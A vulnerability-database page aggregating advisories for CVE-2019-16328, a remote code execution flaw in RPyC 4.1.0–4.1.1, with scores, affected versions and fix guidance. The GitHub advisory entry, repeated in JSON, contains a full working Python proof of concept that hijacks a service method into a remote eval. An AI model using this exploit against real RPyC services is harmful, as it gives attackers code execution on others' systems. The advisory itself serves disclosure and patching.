Vulnerability-Lookup

CVE-2019-16328 (GCVE-0-2019-16328)

Vulnerability from cvelistv5 – Published: 2019-10-03 19:51 – Updated: 2024-08-05 01:10

Summary

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CWE

Assigner

mitre mitre root

References

4 references

URL	Tags
https://github.com/tomerfiliba/rpyc	x_refsource_MISC
https://rpyc.readthedocs.io/en/latest/docs/securi…	x_refsource_MISC
http://lists.opensuse.org/opensuse-security-annou…	vendor-advisoryx_refsource_SUSE
http://lists.opensuse.org/opensuse-security-annou…	vendor-advisoryx_refsource_SUSE

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2019-16328

Vulnerability from fkie_nvd - Published: 2019-10-03 20:15 - Updated: 2026-06-17 02:22

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

References

URL	Tags
cve@mitre.org	http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html	Broken Link
cve@mitre.org	http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html	Broken Link
cve@mitre.org	https://github.com/tomerfiliba/rpyc	Product, Third Party Advisory
cve@mitre.org	https://rpyc.readthedocs.io/en/latest/docs/security.html	Exploit, Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108	http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html	Broken Link
af854a3a-2127-422b-91ae-364da2661108	http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html	Broken Link
af854a3a-2127-422b-91ae-364da2661108	https://github.com/tomerfiliba/rpyc	Product, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://rpyc.readthedocs.io/en/latest/docs/security.html	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	rpyc_project	rpyc	*

JSON

To clipboard

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GHSA-PJ4G-4488-WMXM

Vulnerability from github – Published: 2021-02-17 19:50 – Updated: 2021-09-27 22:48

Summary

Dynamic modification of RPyC service due to missing security check

Details

Impact

Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.

Patches

Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.

Workarounds

The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.

References

CVE-2019-16328 RPyC Security Documentation

For more information

If you have any questions or comments about this advisory: * Open an issue using GitHub

Proof of Concept

import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest


PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc


class Foe(object):
    foo = "bar"


class Fee(rpyc.Service):
    exposed_Fie = Foe

    def exposed_nop(self):
        return


if __name__ == "__main__":
    server = ThreadedServer(Fee, port={PORT}, auto_register=False)
    thd = server.start()
"""


def setattr_orig(target, attrname, codeobj):
    setattr(target, attrname, codeobj)


def myeval(self=None, cmd="__import__('sys')"):
    return eval(cmd)


def get_code(obj_codetype, func, filename=None, name=None):
    func_code = func.__code__
    arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
                 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
                 'co_lnotab', 'co_freevars', 'co_cellvars']

    codetype_args = [getattr(func_code, n) for n in arg_names]
    if filename:
        codetype_args[arg_names.index('co_filename')] = filename
    if name:
        codetype_args[arg_names.index('co_name')] = name
    mycode = obj_codetype(*codetype_args)
    return mycode


def _vercmp_gt(ver1, ver2):
    ver1_gt_ver2 = False
    for i, v1 in enumerate(ver1):
        v2 = ver2[i]
        if v1 > v2:
            ver1_gt_ver2 = True
            break
        elif v1 == v2:
            continue
        else:  # v1 < v2
            break
    return ver1_gt_ver2


@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):

    @classmethod
    def setUpClass(cls):

        cls.logger = logging.getLogger('rpyc')
        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred
        cls.hscript = tempfile.NamedTemporaryFile()
        cls.hscript.write(SERVER_SCRIPT.encode())
        cls.hscript.flush()
        while cls.hscript.file.tell() != len(SERVER_SCRIPT):
            pass
        cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
        cls.conn = rpyc.connect("localhost", PORT)

    @classmethod
    def tearDownClass(cls):
        cls.conn.close()
        cls.logger.info(cls.server.stdout.read())
        cls.logger.info(cls.server.stderr.read())
        cls.server.kill()
        cls.hscript.close()

    def netref_getattr(self, netref, attrname):
        # PoC CWE-358: abuse __cmp__ function that was missing a security check
        handler = rpyc.core.consts.HANDLE_CMP
        return self.conn.sync_request(handler, netref, attrname, '__getattribute__')

    def test_1_modify_nop(self):
        # create netrefs for builtins and globals that will be used to construct on remote
        remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
        remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
        remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
        remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')
        _builtins = remote_modules['builtins']
        remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}

        # populate globals for CodeType calls on remote
        remote_globals = remote_builtins['dict']()
        for name, netref in remote_builtins.items():
            remote_globals[name] = netref
        for name, netref in self.netref_getattr(remote_modules, 'items')():
            remote_globals[name] = netref

        # create netrefs for types to create remote function malicously
        remote_types = remote_builtins['__import__']("types")
        remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')
        remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')

        # remote eval function constructed
        remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')
        remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)
        # PoC CWE-913: modify the exposed_nop of service
        #   by binding various netrefs in this execution frame, they are cached in
        #   the remote address space. setattr and eval functions are cached for the life
        #   of the netrefs in the frame. A consequence of Netref classes inheriting
        #   BaseNetref, each object is cached under_local_objects. So, we are able
        #   to construct arbitrary code using types and builtins.

        # use the builtin netrefs to modify the service to use the constructed eval func
        remote_setattr = remote_builtins['setattr']
        remote_type = remote_builtins['type']
        remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)

        # show that nop was replaced by eval to complete the PoC
        remote_sys = self.conn.root.nop('__import__("sys")')
        remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
        self.assertEqual(type(remote_sys).__name__, 'builtins.module')
        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
        self.assertIn('rpyc/utils/server.py', remote_stack)

    def test_2_new_conn_impacted(self):
        # demostrate impact and scope of vuln for new connections
        self.conn.close()
        self.conn = rpyc.connect("localhost", PORT)
        # show new conn can still use nop as eval
        remote_sys = self.conn.root.nop('__import__("sys")')
        remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
        self.assertEqual(type(remote_sys).__name__, 'builtins.module')
        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
        self.assertIn('rpyc/utils/server.py', remote_stack)


if __name__ == "__main__":
    unittest.main()

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rpyc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.1.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2019-16328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-17T19:50:44Z",
    "nvd_published_at": "2019-10-03T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n    foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n    exposed_Fie = Foe\n\n    def exposed_nop(self):\n        return\n\n\nif __name__ == \"__main__\":\n    server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n    thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n    setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__(\u0027sys\u0027)\"):\n    return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n    func_code = func.__code__\n    arg_names = [\u0027co_argcount\u0027, \u0027co_posonlyargcount\u0027, \u0027co_kwonlyargcount\u0027, \u0027co_nlocals\u0027, \u0027co_stacksize\u0027, \u0027co_flags\u0027,\n                 \u0027co_code\u0027, \u0027co_consts\u0027, \u0027co_names\u0027, \u0027co_varnames\u0027, \u0027co_filename\u0027, \u0027co_name\u0027, \u0027co_firstlineno\u0027,\n                 \u0027co_lnotab\u0027, \u0027co_freevars\u0027, \u0027co_cellvars\u0027]\n\n    codetype_args = [getattr(func_code, n) for n in arg_names]\n    if filename:\n        codetype_args[arg_names.index(\u0027co_filename\u0027)] = filename\n    if name:\n        codetype_args[arg_names.index(\u0027co_name\u0027)] = name\n    mycode = obj_codetype(*codetype_args)\n    return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n    ver1_gt_ver2 = False\n    for i, v1 in enumerate(ver1):\n        v2 = ver2[i]\n        if v1 \u003e v2:\n            ver1_gt_ver2 = True\n            break\n        elif v1 == v2:\n            continue\n        else:  # v1 \u003c v2\n            break\n    return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n\n        cls.logger = logging.getLogger(\u0027rpyc\u0027)\n        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred\n        cls.hscript = tempfile.NamedTemporaryFile()\n        cls.hscript.write(SERVER_SCRIPT.encode())\n        cls.hscript.flush()\n        while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n            pass\n        cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n        cls.conn = rpyc.connect(\"localhost\", PORT)\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.conn.close()\n        cls.logger.info(cls.server.stdout.read())\n        cls.logger.info(cls.server.stderr.read())\n        cls.server.kill()\n        cls.hscript.close()\n\n    def netref_getattr(self, netref, attrname):\n        # PoC CWE-358: abuse __cmp__ function that was missing a security check\n        handler = rpyc.core.consts.HANDLE_CMP\n        return self.conn.sync_request(handler, netref, attrname, \u0027__getattribute__\u0027)\n\n    def test_1_modify_nop(self):\n        # create netrefs for builtins and globals that will be used to construct on remote\n        remote_svc_proto = self.netref_getattr(self.conn.root, \u0027_protocol\u0027)\n        remote_dispatch = self.netref_getattr(remote_svc_proto, \u0027_dispatch_request\u0027)\n        remote_class_globals = self.netref_getattr(remote_dispatch, \u0027__globals__\u0027)\n        remote_modules = self.netref_getattr(remote_class_globals[\u0027sys\u0027], \u0027modules\u0027)\n        _builtins = remote_modules[\u0027builtins\u0027]\n        remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}\n\n        # populate globals for CodeType calls on remote\n        remote_globals = remote_builtins[\u0027dict\u0027]()\n        for name, netref in remote_builtins.items():\n            remote_globals[name] = netref\n        for name, netref in self.netref_getattr(remote_modules, \u0027items\u0027)():\n            remote_globals[name] = netref\n\n        # create netrefs for types to create remote function malicously\n        remote_types = remote_builtins[\u0027__import__\u0027](\"types\")\n        remote_types_CodeType = self.netref_getattr(remote_types, \u0027CodeType\u0027)\n        remote_types_FunctionType = self.netref_getattr(remote_types, \u0027FunctionType\u0027)\n\n        # remote eval function constructed\n        remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename=\u0027test_code.py\u0027, name=\u0027__code__\u0027)\n        remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)\n        # PoC CWE-913: modify the exposed_nop of service\n        #   by binding various netrefs in this execution frame, they are cached in\n        #   the remote address space. setattr and eval functions are cached for the life\n        #   of the netrefs in the frame. A consequence of Netref classes inheriting\n        #   BaseNetref, each object is cached under_local_objects. So, we are able\n        #   to construct arbitrary code using types and builtins.\n\n        # use the builtin netrefs to modify the service to use the constructed eval func\n        remote_setattr = remote_builtins[\u0027setattr\u0027]\n        remote_type = remote_builtins[\u0027type\u0027]\n        remote_setattr(remote_type(self.conn.root), \u0027exposed_nop\u0027, remote_eval)\n\n        # show that nop was replaced by eval to complete the PoC\n        remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n        remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n        self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n    def test_2_new_conn_impacted(self):\n        # demostrate impact and scope of vuln for new connections\n        self.conn.close()\n        self.conn = rpyc.connect(\"localhost\", PORT)\n        # show new conn can still use nop as eval\n        remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n        remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n        self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n```",
  "id": "GHSA-pj4g-4488-wmxm",
  "modified": "2021-09-27T22:48:17Z",
  "published": "2021-02-17T19:50:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16328"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tomerfiliba-org/rpyc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba/rpyc"
    },
    {
      "type": "WEB",
      "url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dynamic modification of RPyC service due to missing security check"
}

GSD-2019-16328

Vulnerability from gsd - Updated: 2023-12-13 01:23

Details

Aliases

CVE-2019-16328

Aliases

CVE-2019-16328

JSON

To clipboard

{
  "GSD": {
    "alias": "CVE-2019-16328",
    "description": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
    "id": "GSD-2019-16328",
    "references": [
      "https://www.suse.com/security/cve/CVE-2019-16328.html"
    ]
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2019-16328"
      ],
      "details": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
      "id": "GSD-2019-16328",
      "modified": "2023-12-13T01:23:40.546718Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "cve@mitre.org",
        "ID": "CVE-2019-16328",
        "STATE": "PUBLIC"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "n/a",
                    "version": {
                      "version_data": [
                        {
                          "version_value": "n/a"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "n/a"
            }
          ]
        }
      },
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      "data_version": "4.0",
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            "value": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings."
          }
        ]
      },
      "problemtype": {
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              {
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              }
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        ]
      },
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        "reference_data": [
          {
            "name": "https://github.com/tomerfiliba/rpyc",
            "refsource": "MISC",
            "url": "https://github.com/tomerfiliba/rpyc"
          },
          {
            "name": "https://rpyc.readthedocs.io/en/latest/docs/security.html",
            "refsource": "MISC",
            "url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
          },
          {
            "name": "openSUSE-SU-2020:0685",
            "refsource": "SUSE",
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          },
          {
            "name": "openSUSE-SU-2020:0763",
            "refsource": "SUSE",
            "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
          }
        ]
      },
      "source": {
        "discovery": "INTERNAL"
      }
    },
    "gitlab.com": {
      "advisories": [
        {
          "affected_range": "==4.1.0",
          "affected_versions": "Version 4.1.0",
          "cvss_v2": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
          "cvss_v3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "cwe_ids": [
            "CWE-1035",
            "CWE-78",
            "CWE-915",
            "CWE-937"
          ],
          "date": "2021-09-27",
          "description": "In RPyC, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
          "fixed_versions": [
            "4.1.1"
          ],
          "identifier": "CVE-2019-16328",
          "identifiers": [
            "GHSA-pj4g-4488-wmxm",
            "CVE-2019-16328"
          ],
          "not_impacted": "All versions before 4.1.0, all versions after 4.1.0",
          "package_slug": "pypi/rpyc",
          "pubdate": "2021-02-17",
          "solution": "Upgrade to version 4.1.1 or above.",
          "title": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
          "urls": [
            "https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm",
            "https://github.com/advisories/GHSA-pj4g-4488-wmxm"
          ],
          "uuid": "9605a579-6d55-4d8c-9675-f2801c7e8fec"
        }
      ]
    },
    "nvd.nist.gov": {
      "configurations": {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [],
            "cpe_match": [
              {
                "cpe23Uri": "cpe:2.3:a:rpyc_project:rpyc:*:*:*:*:*:*:*:*",
                "cpe_name": [],
                "versionEndIncluding": "4.1.1",
                "versionStartIncluding": "4.1.0",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      },
      "cve": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2019-16328"
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "en",
              "value": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "en",
                  "value": "CWE-1321"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://rpyc.readthedocs.io/en/latest/docs/security.html",
              "refsource": "MISC",
              "tags": [
                "Exploit",
                "Vendor Advisory"
              ],
              "url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
            },
            {
              "name": "https://github.com/tomerfiliba/rpyc",
              "refsource": "MISC",
              "tags": [
                "Product",
                "Third Party Advisory"
              ],
              "url": "https://github.com/tomerfiliba/rpyc"
            },
            {
              "name": "openSUSE-SU-2020:0685",
              "refsource": "SUSE",
              "tags": [
                "Broken Link"
              ],
              "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
            },
            {
              "name": "openSUSE-SU-2020:0763",
              "refsource": "SUSE",
              "tags": [
                "Broken Link"
              ],
              "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
            }
          ]
        }
      },
      "impact": {
        "baseMetricV2": {
          "acInsufInfo": false,
          "cvssV2": {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          },
          "exploitabilityScore": 10.0,
          "impactScore": 2.9,
          "obtainAllPrivilege": false,
          "obtainOtherPrivilege": false,
          "obtainUserPrivilege": false,
          "severity": "MEDIUM",
          "userInteractionRequired": false
        },
        "baseMetricV3": {
          "cvssV3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "exploitabilityScore": 3.9,
          "impactScore": 3.6
        }
      },
      "lastModifiedDate": "2022-12-02T19:24Z",
      "publishedDate": "2019-10-03T20:15Z"
    }
  }
}

OPENSUSE-SU-2020:0685-1

Vulnerability from csaf_opensuse - Published: 2020-05-22 16:17 - Updated: 2020-05-22 16:17

Summary

Security update for python-rpyc

Severity

Moderate

Scope

1 vulnerability in this advisory, including CVE-2019-16328.

CVE-2019-16328

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Recommended: 2 products

Open the full advisory

OPENSUSE-SU-2020:0763-1

Vulnerability from csaf_opensuse - Published: 2020-06-03 08:44 - Updated: 2020-06-03 08:44

Summary

Security update for python-rpyc

Severity

Moderate

Scope

1 vulnerability in this advisory, including CVE-2019-16328.

CVE-2019-16328

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Recommended: 2 products

Open the full advisory

OPENSUSE-SU-2024:11268-1

Vulnerability from csaf_opensuse - Published: 2024-06-15 00:00 - Updated: 2024-06-15 00:00

Summary

python36-rpyc-4.1.5-2.7 on GA media

Severity

Moderate

Scope

1 vulnerability in this advisory, including CVE-2019-16328.

CVE-2019-16328

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Recommended: 12 products

Open the full advisory

OPENSUSE-SU-2024:14162-1

Vulnerability from csaf_opensuse - Published: 2024-07-12 00:00 - Updated: 2024-07-12 00:00

Summary

python310-rpyc-6.0.0-1.2 on GA media

Severity

Moderate

Scope

1 vulnerability in this advisory, including CVE-2019-16328.

CVE-2019-16328

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Recommended: 12 products

Open the full advisory

PYSEC-2019-118

Vulnerability from pysec - Published: 2019-10-03 20:15 - Updated: 2020-08-24 17:37

Details

Impacted products

Name	purl
rpyc	pkg:pypi/rpyc

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rpyc",
        "purl": "pkg:pypi/rpyc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.1.0",
        "4.1.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2019-16328",
    "GHSA-9ggp-4jpr-7ppj",
    "GHSA-pj4g-4488-wmxm"
  ],
  "details": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
  "id": "PYSEC-2019-118",
  "modified": "2020-08-24T17:37:00Z",
  "published": "2019-10-03T20:15:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba/rpyc"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9ggp-4jpr-7ppj"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-pj4g-4488-wmxm"
    }
  ]
}

ubuntu-cve-2019-16328 Withdrawn 2025-07-18

Vulnerability from osv_ubuntu

Published

2019-10-03 20:15

Modified

2025-07-16 04:54

Summary

Details

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2019-16328	REPORT
	https://www.cve.org/CVERecord?id=CVE-2019-16328	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "availability": "No subscription required",
        "binaries": [
          {
            "binary_name": "python-rpyc-doc",
            "binary_version": "3.4.4-1"
          },
          {
            "binary_name": "python3-rpyc",
            "binary_version": "3.4.4-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:18.04:LTS",
        "name": "rpyc",
        "purl": "pkg:deb/ubuntu/rpyc@3.4.4-1?arch=source\u0026distro=bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.4-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": []
    }
  ],
  "aliases": [],
  "details": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
  "id": "UBUNTU-CVE-2019-16328",
  "modified": "2025-07-16T04:54:57Z",
  "published": "2019-10-03T20:15:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2019-16328"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-16328"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2019-16328"
  ],
  "withdrawn": "2025-07-18T16:45:20Z"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2019-16328 (GCVE-0-2019-16328)

Impact

Patches

Workarounds

References

For more information

Proof of Concept

ubuntu-cve-2019-16328 Withdrawn 2025-07-18

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature

Related by attack behaviour